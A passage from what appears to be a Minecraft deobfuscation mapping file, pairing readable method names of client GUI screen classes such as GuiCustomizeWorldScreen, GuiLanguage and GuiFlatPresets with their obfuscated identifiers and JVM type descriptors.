net/minecraft/client/gui/GuiScreenCustomizePresets$ListPreset/func_178051_a (IILnet/minecraft/util/ResourceLocation;)V net/minecraft/client/gui/GuiScreenCustomizePresets$ListPreset/func_178051_a (IILnet/minecraft/util/ResourceLocation;)V +MD: net/minecraft/client/gui/GuiScreenCustomizePresets$ListPreset/elementClicked (IZII)V net/minecraft/client/gui/GuiScreenCustomizePresets$ListPreset/func_148144_a (IZII)V +MD: net/minecraft/client/gui/GuiScreenCustomizePresets$ListPreset/getSize ()I net/minecraft/client/gui/GuiScreenCustomizePresets$ListPreset/func_148127_b ()I +MD: net/minecraft/client/gui/GuiScreenCustomizePresets/func_175304_a ()V net/minecraft/client/gui/GuiScreenCustomizePresets/func_175304_a ()V +MD: net/minecraft/client/gui/GuiScreenCustomizePresets/keyTyped (CI)V net/minecraft/client/gui/GuiScreenCustomizePresets/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiScreenCustomizePresets/drawScreen (IIF)V net/minecraft/client/gui/GuiScreenCustomizePresets/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiScreenCustomizePresets/mouseClicked (III)V net/minecraft/client/gui/GuiScreenCustomizePresets/func_73864_a (III)V +MD: net/minecraft/client/gui/GuiScreenCustomizePresets/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiScreenCustomizePresets/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiScreenCustomizePresets/access$100 (Lnet/minecraft/client/gui/GuiScreenCustomizePresets;)Lnet/minecraft/client/gui/GuiScreenCustomizePresets$ListPreset; net/minecraft/client/gui/GuiScreenCustomizePresets/access$100 (Lnet/minecraft/client/gui/GuiScreenCustomizePresets;)Lnet/minecraft/client/gui/GuiScreenCustomizePresets$ListPreset; +MD: net/minecraft/client/gui/GuiScreenCustomizePresets/access$300 (Lnet/minecraft/client/gui/GuiScreenCustomizePresets;IIII)V net/minecraft/client/gui/GuiScreenCustomizePresets/access$300 (Lnet/minecraft/client/gui/GuiScreenCustomizePresets;IIII)V +MD: net/minecraft/client/gui/GuiScreenCustomizePresets/initGui ()V net/minecraft/client/gui/GuiScreenCustomizePresets/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiScreenCustomizePresets/access$200 (Lnet/minecraft/client/gui/GuiScreenCustomizePresets;)Lnet/minecraft/client/gui/GuiTextField; net/minecraft/client/gui/GuiScreenCustomizePresets/access$200 (Lnet/minecraft/client/gui/GuiScreenCustomizePresets;)Lnet/minecraft/client/gui/GuiTextField; +MD: net/minecraft/client/gui/GuiScreenCustomizePresets/access$400 (Lnet/minecraft/client/gui/GuiScreenCustomizePresets;IIII)V net/minecraft/client/gui/GuiScreenCustomizePresets/access$400 (Lnet/minecraft/client/gui/GuiScreenCustomizePresets;IIII)V +MD: net/minecraft/client/gui/GuiScreenCustomizePresets/access$500 (Lnet/minecraft/client/gui/GuiScreenCustomizePresets;IIII)V net/minecraft/client/gui/GuiScreenCustomizePresets/access$500 (Lnet/minecraft/client/gui/GuiScreenCustomizePresets;IIII)V +MD: net/minecraft/client/gui/GuiScreenCustomizePresets/access$600 (Lnet/minecraft/client/gui/GuiScreenCustomizePresets;IIII)V net/minecraft/client/gui/GuiScreenCustomizePresets/access$600 (Lnet/minecraft/client/gui/GuiScreenCustomizePresets;IIII)V +MD: net/minecraft/client/gui/GuiScreenCustomizePresets/updateScreen ()V net/minecraft/client/gui/GuiScreenCustomizePresets/func_73876_c ()V +MD: net/minecraft/client/gui/GuiScreenCustomizePresets/access$000 ()Ljava/util/List; net/minecraft/client/gui/GuiScreenCustomizePresets/access$000 ()Ljava/util/List; +MD: net/minecraft/client/gui/GuiScreenCustomizePresets/func_175305_g ()Z net/minecraft/client/gui/GuiScreenCustomizePresets/func_175305_g ()Z +MD: net/minecraft/client/gui/GuiScreenCustomizePresets/handleMouseInput ()V net/minecraft/client/gui/GuiScreenCustomizePresets/func_146274_d ()V +MD: net/minecraft/client/gui/GuiScreenCustomizePresets/onGuiClosed ()V net/minecraft/client/gui/GuiScreenCustomizePresets/func_146281_b ()V +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen$1/apply (Ljava/lang/String;)Z net/minecraft/client/gui/GuiCustomizeWorldScreen$1/apply (Ljava/lang/String;)Z +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen$1/apply (Ljava/lang/Object;)Z net/minecraft/client/gui/GuiCustomizeWorldScreen$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175323_a ()Ljava/lang/String; net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175323_a ()Ljava/lang/String; +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen/keyTyped (CI)V net/minecraft/client/gui/GuiCustomizeWorldScreen/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175327_a (F)V net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175327_a (F)V +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen/onTick (IF)V net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175320_a (IF)V +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen/drawScreen (IIF)V net/minecraft/client/gui/GuiCustomizeWorldScreen/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen/mouseClicked (III)V net/minecraft/client/gui/GuiCustomizeWorldScreen/func_73864_a (III)V +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175319_a (ILjava/lang/String;)V net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175319_a (ILjava/lang/String;)V +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen/getText (ILjava/lang/String;F)Ljava/lang/String; net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175318_a (ILjava/lang/String;F)Ljava/lang/String; +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175321_a (IZ)V net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175321_a (IZ)V +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiCustomizeWorldScreen/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175324_a (Ljava/lang/String;)V net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175324_a (Ljava/lang/String;)V +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen/func_181031_a (Z)V net/minecraft/client/gui/GuiCustomizeWorldScreen/func_181031_a (Z)V +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen/initGui ()V net/minecraft/client/gui/GuiCustomizeWorldScreen/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175322_b (I)V net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175322_b (I)V +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175330_b (IF)Ljava/lang/String; net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175330_b (IF)Ljava/lang/String; +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen/mouseReleased (III)V net/minecraft/client/gui/GuiCustomizeWorldScreen/func_146286_b (III)V +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175329_a (Z)V net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175329_a (Z)V +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175325_f ()V net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175325_f ()V +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175326_g ()V net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175326_g ()V +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175331_h ()V net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175331_h ()V +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175328_i ()V net/minecraft/client/gui/GuiCustomizeWorldScreen/func_175328_i ()V +MD: net/minecraft/client/gui/GuiCustomizeWorldScreen/handleMouseInput ()V net/minecraft/client/gui/GuiCustomizeWorldScreen/func_146274_d ()V +MD: net/minecraft/client/gui/GuiGameOver/keyTyped (CI)V net/minecraft/client/gui/GuiGameOver/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiGameOver/drawScreen (IIF)V net/minecraft/client/gui/GuiGameOver/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiGameOver/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiGameOver/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiGameOver/confirmClicked (ZI)V net/minecraft/client/gui/GuiGameOver/func_73878_a (ZI)V +MD: net/minecraft/client/gui/GuiGameOver/initGui ()V net/minecraft/client/gui/GuiGameOver/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiGameOver/doesGuiPauseGame ()Z net/minecraft/client/gui/GuiGameOver/func_73868_f ()Z +MD: net/minecraft/client/gui/GuiGameOver/updateScreen ()V net/minecraft/client/gui/GuiGameOver/func_73876_c ()V +MD: net/minecraft/client/gui/GuiScreenDemo/drawScreen (IIF)V net/minecraft/client/gui/GuiScreenDemo/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiScreenDemo/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiScreenDemo/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiScreenDemo/initGui ()V net/minecraft/client/gui/GuiScreenDemo/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiScreenDemo/drawDefaultBackground ()V net/minecraft/client/gui/GuiScreenDemo/func_146276_q_ ()V +MD: net/minecraft/client/gui/GuiScreenDemo/updateScreen ()V net/minecraft/client/gui/GuiScreenDemo/func_73876_c ()V +MD: net/minecraft/client/gui/GuiScreenServerList/keyTyped (CI)V net/minecraft/client/gui/GuiScreenServerList/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiScreenServerList/drawScreen (IIF)V net/minecraft/client/gui/GuiScreenServerList/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiScreenServerList/mouseClicked (III)V net/minecraft/client/gui/GuiScreenServerList/func_73864_a (III)V +MD: net/minecraft/client/gui/GuiScreenServerList/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiScreenServerList/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiScreenServerList/initGui ()V net/minecraft/client/gui/GuiScreenServerList/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiScreenServerList/updateScreen ()V net/minecraft/client/gui/GuiScreenServerList/func_73876_c ()V +MD: net/minecraft/client/gui/GuiScreenServerList/onGuiClosed ()V net/minecraft/client/gui/GuiScreenServerList/func_146281_b ()V +MD: net/minecraft/client/gui/GuiDisconnected/keyTyped (CI)V net/minecraft/client/gui/GuiDisconnected/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiDisconnected/drawScreen (IIF)V net/minecraft/client/gui/GuiDisconnected/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiDisconnected/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiDisconnected/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiDisconnected/initGui ()V net/minecraft/client/gui/GuiDisconnected/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiScreenAddServer$1/apply (Ljava/lang/String;)Z net/minecraft/client/gui/GuiScreenAddServer$1/apply (Ljava/lang/String;)Z +MD: net/minecraft/client/gui/GuiScreenAddServer$1/apply (Ljava/lang/Object;)Z net/minecraft/client/gui/GuiScreenAddServer$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/client/gui/GuiScreenAddServer/keyTyped (CI)V net/minecraft/client/gui/GuiScreenAddServer/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiScreenAddServer/drawScreen (IIF)V net/minecraft/client/gui/GuiScreenAddServer/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiScreenAddServer/mouseClicked (III)V net/minecraft/client/gui/GuiScreenAddServer/func_73864_a (III)V +MD: net/minecraft/client/gui/GuiScreenAddServer/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiScreenAddServer/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiScreenAddServer/initGui ()V net/minecraft/client/gui/GuiScreenAddServer/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiScreenAddServer/updateScreen ()V net/minecraft/client/gui/GuiScreenAddServer/func_73876_c ()V +MD: net/minecraft/client/gui/GuiScreenAddServer/onGuiClosed ()V net/minecraft/client/gui/GuiScreenAddServer/func_146281_b ()V +MD: net/minecraft/client/gui/GuiErrorScreen/keyTyped (CI)V net/minecraft/client/gui/GuiErrorScreen/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiErrorScreen/drawScreen (IIF)V net/minecraft/client/gui/GuiErrorScreen/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiErrorScreen/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiErrorScreen/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiErrorScreen/initGui ()V net/minecraft/client/gui/GuiErrorScreen/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiSleepMP/keyTyped (CI)V net/minecraft/client/gui/GuiSleepMP/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiSleepMP/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiSleepMP/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiSleepMP/initGui ()V net/minecraft/client/gui/GuiSleepMP/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiSleepMP/wakeFromSleep ()V net/minecraft/client/gui/GuiSleepMP/func_146418_g ()V +MD: net/minecraft/client/gui/GuiLanguage$List/drawBackground ()V net/minecraft/client/gui/GuiLanguage$List/func_148123_a ()V +MD: net/minecraft/client/gui/GuiLanguage$List/isSelected (I)Z net/minecraft/client/gui/GuiLanguage$List/func_148131_a (I)Z +MD: net/minecraft/client/gui/GuiLanguage$List/drawSlot (IIIIII)V net/minecraft/client/gui/GuiLanguage$List/func_180791_a (IIIIII)V +MD: net/minecraft/client/gui/GuiLanguage$List/elementClicked (IZII)V net/minecraft/client/gui/GuiLanguage$List/func_148144_a (IZII)V +MD: net/minecraft/client/gui/GuiLanguage$List/getSize ()I net/minecraft/client/gui/GuiLanguage$List/func_148127_b ()I +MD: net/minecraft/client/gui/GuiLanguage$List/getContentHeight ()I net/minecraft/client/gui/GuiLanguage$List/func_148138_e ()I +MD: net/minecraft/client/gui/GuiLanguage/drawScreen (IIF)V net/minecraft/client/gui/GuiLanguage/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiLanguage/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiLanguage/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiLanguage/access$000 (Lnet/minecraft/client/gui/GuiLanguage;)Lnet/minecraft/client/resources/LanguageManager; net/minecraft/client/gui/GuiLanguage/access$000 (Lnet/minecraft/client/gui/GuiLanguage;)Lnet/minecraft/client/resources/LanguageManager; +MD: net/minecraft/client/gui/GuiLanguage/initGui ()V net/minecraft/client/gui/GuiLanguage/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiLanguage/access$100 (Lnet/minecraft/client/gui/GuiLanguage;)Lnet/minecraft/client/settings/GameSettings; net/minecraft/client/gui/GuiLanguage/access$100 (Lnet/minecraft/client/gui/GuiLanguage;)Lnet/minecraft/client/settings/GameSettings; +MD: net/minecraft/client/gui/GuiLanguage/access$200 (Lnet/minecraft/client/gui/GuiLanguage;)Lnet/minecraft/client/gui/GuiOptionButton; net/minecraft/client/gui/GuiLanguage/access$200 (Lnet/minecraft/client/gui/GuiLanguage;)Lnet/minecraft/client/gui/GuiOptionButton; +MD: net/minecraft/client/gui/GuiLanguage/access$300 (Lnet/minecraft/client/gui/GuiLanguage;)Lnet/minecraft/client/gui/GuiOptionButton; net/minecraft/client/gui/GuiLanguage/access$300 (Lnet/minecraft/client/gui/GuiLanguage;)Lnet/minecraft/client/gui/GuiOptionButton; +MD: net/minecraft/client/gui/GuiLanguage/handleMouseInput ()V net/minecraft/client/gui/GuiLanguage/func_146274_d ()V +MD: net/minecraft/client/gui/GuiOptions$1/playPressSound (Lnet/minecraft/client/audio/SoundHandler;)V net/minecraft/client/gui/GuiOptions$1/func_146113_a (Lnet/minecraft/client/audio/SoundHandler;)V +MD: net/minecraft/client/gui/GuiOptions/drawScreen (IIF)V net/minecraft/client/gui/GuiOptions/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiOptions/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiOptions/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiOptions/func_175355_a (Lnet/minecraft/world/EnumDifficulty;)Ljava/lang/String; net/minecraft/client/gui/GuiOptions/func_175355_a (Lnet/minecraft/world/EnumDifficulty;)Ljava/lang/String; +MD: net/minecraft/client/gui/GuiOptions/confirmClicked (ZI)V net/minecraft/client/gui/GuiOptions/func_73878_a (ZI)V +MD: net/minecraft/client/gui/GuiOptions/initGui ()V net/minecraft/client/gui/GuiOptions/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiMemoryErrorScreen/keyTyped (CI)V net/minecraft/client/gui/GuiMemoryErrorScreen/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiMemoryErrorScreen/drawScreen (IIF)V net/minecraft/client/gui/GuiMemoryErrorScreen/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiMemoryErrorScreen/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiMemoryErrorScreen/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiMemoryErrorScreen/initGui ()V net/minecraft/client/gui/GuiMemoryErrorScreen/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiIngameMenu/drawScreen (IIF)V net/minecraft/client/gui/GuiIngameMenu/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiIngameMenu/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiIngameMenu/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiIngameMenu/initGui ()V net/minecraft/client/gui/GuiIngameMenu/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiIngameMenu/updateScreen ()V net/minecraft/client/gui/GuiIngameMenu/func_73876_c ()V +MD: net/minecraft/client/gui/GuiFlatPresets$ListSlot/drawBackground ()V net/minecraft/client/gui/GuiFlatPresets$ListSlot/func_148123_a ()V +MD: net/minecraft/client/gui/GuiFlatPresets$ListSlot/isSelected (I)Z net/minecraft/client/gui/GuiFlatPresets$ListSlot/func_148131_a (I)Z +MD: net/minecraft/client/gui/GuiFlatPresets$ListSlot/drawSlot (IIIIII)V net/minecraft/client/gui/GuiFlatPresets$ListSlot/func_180791_a (IIIIII)V +MD: net/minecraft/client/gui/GuiFlatPresets$ListSlot/func_178054_a (IILnet/minecraft/item/Item;I)V net/minecraft/client/gui/GuiFlatPresets$ListSlot/func_178054_a (IILnet/minecraft/item/Item;I)V +MD: net/minecraft/client/gui/GuiFlatPresets$ListSlot/elementClicked (IZII)V net/minecraft/client/gui/GuiFlatPresets$ListSlot/func_148144_a (IZII)V +MD: net/minecraft/client/gui/GuiFlatPresets$ListSlot/getSize ()I net/minecraft/client/gui/GuiFlatPresets$ListSlot/func_148127_b ()I +MD: net/minecraft/client/gui/GuiFlatPresets$ListSlot/func_148171_c (IIII)V net/minecraft/client/gui/GuiFlatPresets$ListSlot/func_148171_c (IIII)V +MD: net/minecraft/client/gui/GuiFlatPresets$ListSlot/func_148173_e (II)V net/minecraft/client/gui/GuiFlatPresets$ListSlot/func_148173_e (II)V +MD: net/minecraft/client/gui/GuiFlatPresets/func_146426_g ()V net/minecraft/client/gui/GuiFlatPresets/func_146426_g ()V +MD: net/minecraft/client/gui/GuiFlatPresets/keyTyped (CI)V net/minecraft/client/gui/GuiFlatPresets/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiFlatPresets/drawScreen (IIF)V net/minecraft/client/gui/GuiFlatPresets/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiFlatPresets/mouseClicked (III)V net/minecraft/client/gui/GuiFlatPresets/func_73864_a (III)V +MD: net/minecraft/client/gui/GuiFlatPresets/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiFlatPresets/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiFlatPresets/access$000 (Lnet/minecraft/client/gui/GuiFlatPresets;)F net/minecraft/client/gui/GuiFlatPresets/access$000 (Lnet/minecraft/client/gui/GuiFlatPresets;)F +MD: net/minecraft/client/gui/GuiFlatPresets/func_175354_a (Ljava/lang/String;Lnet/minecraft/item/Item;ILnet/minecraft/world/biome/BiomeGenBase;Ljava/util/List;[Lnet/minecraft/world/gen/FlatLayerInfo;)V net/minecraft/client/gui/GuiFlatPresets/func_175354_a (Ljava/lang/String;Lnet/minecraft/item/Item;ILnet/minecraft/world/biome/BiomeGenBase;Ljava/util/List;[Lnet/minecraft/world/gen/FlatLayerInfo;)V +MD: net/minecraft/client/gui/GuiFlatPresets/func_146421_a (Ljava/lang/String;Lnet/minecraft/item/Item;Lnet/minecraft/world/biome/BiomeGenBase;Ljava/util/List;[Lnet/minecraft/world/gen/FlatLayerInfo;)V net/minecraft/client/gui/GuiFlatPresets/func_146421_a (Ljava/lang/String;Lnet/minecraft/item/Item;Lnet/minecraft/world/biome/BiomeGenBase;Ljava/util/List;[Lnet/minecraft/world/gen/FlatLayerInfo;)V +MD: net/minecraft/client/gui/GuiFlatPresets/func_146425_a (Ljava/lang/String;Lnet/minecraft/item/Item;Lnet/minecraft/world/biome/BiomeGenBase;[Lnet/minecraft/world/gen/FlatLayerInfo;)V net/minecraft/client/gui/GuiFlatPresets/func_146425_a (Ljava/lang/String;Lnet/minecraft/item/Item;Lnet/minecraft/world/biome/BiomeGenBase;[Lnet/minecraft/world/gen/FlatLayerInfo;)V +MD: net/minecraft/client/gui/GuiFlatPresets/initGui ()V net/minecraft/client/gui/GuiFlatPresets/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiFlatPresets/access$100 (Lnet/minecraft/client/gui/GuiFlatPresets;)F net/minecraft/client/gui/GuiFlatPresets/access$100 (Lnet/minecraft/client/gui/GuiFlatPresets;)F +MD: net/minecraft/client/gui/GuiFlatPresets/access$200 (Lnet/minecraft/client/gui/GuiFlatPresets;)F net/minecraft/client/gui/GuiFlatPresets/access$200 (Lnet/minecraft/client/gui/GuiFlatPresets;)F +MD: net/minecraft/client/gui/GuiFlatPresets/access$300 (Lnet/minecraft/client/gui/GuiFlatPresets;)F net/minecraft/client/gui/GuiFlatPresets/access$300 (Lnet/minecraft/client/gui/GuiFlatPresets;)F +MD: net/minecraft/client/gui/GuiFlatPresets/updateScreen ()V net/minecraft/client/gui/GuiFlatPresets/func_73876_c ()V +MD: net/minecraft/client/gui/GuiFlatPresets/access$500 (Lnet/minecraft/client/gui/GuiFlatPresets;)Lnet/minecraft/client/gui/GuiFlatPresets$ListSlot; net/minecraft/client/gui/GuiFlatPresets/access$500 (Lnet/minecraft/client/gui/GuiFlatPresets;)Lnet/minecraft/client/gui/GuiFlatPresets$ListSlot; +MD: net/minecraft/client/gui/GuiFlatPresets/access$400 ()Ljava/util/List; net/minecraft/client/gui/GuiFlatPresets/access$400 ()Ljava/util/List; +MD: net/minecraft/client/gui/GuiFlatPresets/access$600 (Lnet/minecraft/client/gui/GuiFlatPresets;)Lnet/minecraft/client/gui/GuiTextField; net/minecraft/client/gui/GuiFlatPresets/access$600 (Lnet/minecraft/client/gui/GuiFlatPresets;)Lnet/minecraft/client/gui/GuiTextField; +MD: net/minecraft/client/gui/GuiFlatPresets/func_146430_p ()Z net/minecraft/client/gui/GuiFlatPresets/func_146430_p ()Z +MD: net/minecraft/client/gui/GuiFlatPresets/handleMouseInput ()V net/minecraft/client/gui/GuiFlatPresets/func_146274_d ()V +MD: net/minecraft/client/gui/GuiFlatPresets/onGuiClosed ()V net/minecraft/client/gui/GuiFlatPresets/func_146281_b ()V +MD: net/minecraft/client/gui/GuiScreenWorking/setDoneWorking ()V net/minecraft/client/gui/GuiScreenWorking/func_146586_a ()V +MD: net/minecraft/client/gui/GuiScreenWorking/setLoadingProgress (I)V net/minecraft/client/gui/GuiScreenWorking/func_73718_a (I)V +MD: net/minecraft/client/gui/GuiScreenWorking/drawScreen (IIF)V net/minecraft/client/gui/GuiScreenWorking/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiScreenWorking/displaySavingString (Ljava/lang/String;)V net/minecraft/client/gui/GuiScreenWorking/func_73720_a (Ljava/lang/String;)V +MD: net/minecraft/client/gui/GuiScreenWorking/resetProgressAndMessage (Ljava/lang/String;)V net/minecraft/client/gui/GuiScreenWorking/func_73721_b (Ljava/lang/String;)V +MD: net/minecraft/client/gui/GuiScreenWorking/displayLoadingString (Ljava/lang/String;)V net/minecraft/client/gui/GuiScreenWorking/func_73719_c (Ljava/lang/String;)V +MD: net/minecraft/client/gui/GuiDownloadTerrain/keyTyped (CI)V net/minecraft/client/gui/GuiDownloadTerrain/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiDownloadTerrain/drawScreen (IIF)V net/minecraft/client/gui/GuiDownloadTerrain/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiDownloadTerrain/initGui ()V net/minecraft/client/gui/GuiDownloadTerrain/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiDownloadTerrain/doesGuiPauseGame ()Z net/minecraft/client/gui/GuiDownloadTerrain/func_73868_f ()Z +MD: net/minecraft/client/gui/GuiDownloadTerrain/updateScreen ()V net/minecraft/client/gui/GuiDownloadTerrain/func_73876_c ()V +MD: net/minecraft/client/gui/GuiRenameWorld/keyTyped (CI)V net/minecraft/client/gui/GuiRenameWorld/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiRenameWorld/drawScreen (IIF)V net/minecraft/client/gui/GuiRenameWorld/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiRenameWorld/mouseClicked (III)V net/minecraft/client/gui/GuiRenameWorld/func_73864_a (III)V +MD: net/minecraft/client/gui/GuiRenameWorld/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiRenameWorld/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiRenameWorld/initGui ()V net/minecraft/client/gui/GuiRenameWorld/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiRenameWorld/updateScreen ()V net/minecraft/client/gui/GuiRenameWorld/func_73876_c ()V +MD: net/minecraft/client/gui/GuiRenameWorld/onGuiClosed ()V net/minecraft/client/gui/GuiRenameWorld/func_146281_b ()V +MD: net/minecraft/client/gui/GuiScreen/keyTyped (CI)V net/minecraft/client/gui/GuiScreen/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiScreen/setGuiSize (II)V net/minecraft/client/gui/GuiScreen/func_183500_a (II)V +MD: net/minecraft/client/gui/GuiScreen/drawScreen (IIF)V net/minecraft/client/gui/GuiScreen/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiScreen/mouseClicked (III)V net/minecraft/client/gui/GuiScreen/func_73864_a (III)V +MD: net/minecraft/client/gui/GuiScreen/mouseClickMove (IIIJ)V net/minecraft/client/gui/GuiScreen/func_146273_a (IIIJ)V +MD: net/minecraft/client/gui/GuiScreen/setWorldAndResolution (Lnet/minecraft/client/Minecraft;II)V net/minecraft/client/gui/GuiScreen/func_146280_a (Lnet/minecraft/client/Minecraft;II)V +MD: net/minecraft/client/gui/GuiScreen/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiScreen/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiScreen/handleComponentClick (Lnet/minecraft/util/IChatComponent;)Z net/minecraft/client/gui/GuiScreen/func_175276_a (Lnet/minecraft/util/IChatComponent;)Z +MD: net/minecraft/client/gui/GuiScreen/handleComponentHover (Lnet/minecraft/util/IChatComponent;II)V net/minecraft/client/gui/GuiScreen/func_175272_a (Lnet/minecraft/util/IChatComponent;II)V +MD: net/minecraft/client/gui/GuiScreen/drawCreativeTabHoveringText (Ljava/lang/String;II)V net/minecraft/client/gui/GuiScreen/func_146279_a (Ljava/lang/String;II)V +MD: net/minecraft/client/gui/GuiScreen/setText (Ljava/lang/String;Z)V net/minecraft/client/gui/GuiScreen/func_175274_a (Ljava/lang/String;Z)V +MD: net/minecraft/client/gui/GuiScreen/openWebLink (Ljava/net/URI;)V net/minecraft/client/gui/GuiScreen/func_175282_a (Ljava/net/URI;)V +MD: net/minecraft/client/gui/GuiScreen/drawHoveringText (Ljava/util/List;II)V net/minecraft/client/gui/GuiScreen/func_146283_a (Ljava/util/List;II)V +MD: net/minecraft/client/gui/GuiScreen/renderToolTip (Lnet/minecraft/item/ItemStack;II)V 